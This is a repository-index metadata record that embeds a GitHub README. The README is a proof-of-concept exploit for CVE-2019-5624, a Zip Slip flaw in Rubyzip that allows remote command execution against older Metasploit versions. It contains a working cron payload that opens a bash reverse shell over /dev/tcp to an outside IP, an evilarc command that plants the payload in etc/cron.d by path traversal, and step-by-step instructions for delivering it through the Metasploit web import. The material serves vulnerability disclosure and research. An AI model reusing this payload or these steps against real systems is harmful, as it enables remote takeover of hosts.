{"id":21516423,"url":"https://github.com/voidsec/cve-2019-5624","last_synced_at":"2026-01-04T13:02:10.250Z","repository":{"id":74148207,"uuid":"184600046","full_name":"VoidSec/CVE-2019-5624","owner":"VoidSec","description":"A proof of concept for Metasploit's CVE-2019-5624 vulnerability (Rubyzip insecure ZIP handling RCE) ","archived":false,"fork":false,"pushed_at":"2019-05-02T15:15:51.000Z","size":1,"stargazers_count":13,"open_issues_count":0,"forks_count":7,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-01-24T02:59:21.374Z","etag":null,"topics":["cve-2019-5624","exploit","metasploit","metasploit-framework","poc","rce","rubyzip"],"latest_commit_sha":null,"homepage":"https://voidsec.com/rubyzip-metasploit-bug/","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/VoidSec.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-05-02T14:54:08.000Z","updated_at":"2024-08-12T19:48:30.000Z","dependencies_parsed_at":null,"dependency_job_id":"d37c4e94-f40b-49c5-adf2-5ec6bbc70d32","html_url":"https://github.com/VoidSec/CVE-2019-5624","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VoidSec%2FCVE-2019-5624","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VoidSec%2FCVE-2019-5624/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VoidSec%2FCVE-2019-5624/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VoidSec%2FCVE-2019-5624/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/VoidSec","download_url":"https://codeload.github.com/VoidSec/CVE-2019-5624/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244066191,"owners_count":20392407,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2019-5624","exploit","metasploit","metasploit-framework","poc","rce","rubyzip"],"created_at":"2024-11-24T00:21:05.111Z","updated_at":"2026-01-04T13:02:10.167Z","avatar_url":"https://github.com/VoidSec.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2019-5624\nA proof of concept for Metasploit's CVE-2019-5624 vulnerability (Rubyzip insecure ZIP handling RCE)\n\n## Intro\n\nIn February 2019 I found a new vulnerability in the Rubyzip library. It allows an attacker to exploit insecure ZIP handling ([Zip Slip](https://snyk.io/research/zip-slip-vulnerability)) resulting in remote command execution.\n\nThis vulnerability was leveraged to targets all Metasploit versions \u003c 5.0.18 [Metasploit Wrap-Up](https://blog.rapid7.com/2019/04/19/metasploit-wrap-up-13/)\n\nI've made this detailed [blog post](https://voidsec.com/rubyzip-metasploit-bug/) explaining the vulnerability.\n\n## POC\n\n+ Create a file with the following content:\n```\n* * * * * root /bin/bash -c \"exec /bin/bash0\u003c/dev/tcp/172.16.13.144/4444 1\u003e\u00260 2\u003e\u00260 0\u003c\u0026196;exec196\u003c\u003e/dev/tcp/172.16.13.144/4445; bash \u003c\u0026196 \u003e\u0026196 2\u003e\u0026196\"\n```\n+ Generate the ZIP archive with the path traversal payload: \n```\npython evilarc.py exploit --os unix -p etc/cron.d/\n```\n+ Add a valid MSF workspace to the ZIP file (in order to have MSF to extract it, otherwise it will refuse to process the ZIP archive)\n+ Setup two listeners, one on port 4444 and the other on port 4445 (the one on port 4445 will get the reverse shell)\n+ Login in the MSF Web Interface\n+ Create a new “Project”\n+ Select “Import”, “From file”, chose the evil ZIP file and finally click the “Import” button\n+ Wait for the import process to finish\n+ Enjoy your reverse shell\n\n## Video\n[![](http://img.youtube.com/vi/79Dl-Ylu6Ig/0.jpg)](http://www.youtube.com/watch?v=79Dl-Ylu6Ig \"https://voidsec.com/wp-content/uploads/2019/04/metasploit-og-463x348.png\")\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvoidsec%2Fcve-2019-5624","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvoidsec%2Fcve-2019-5624","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvoidsec%2Fcve-2019-5624/lists"}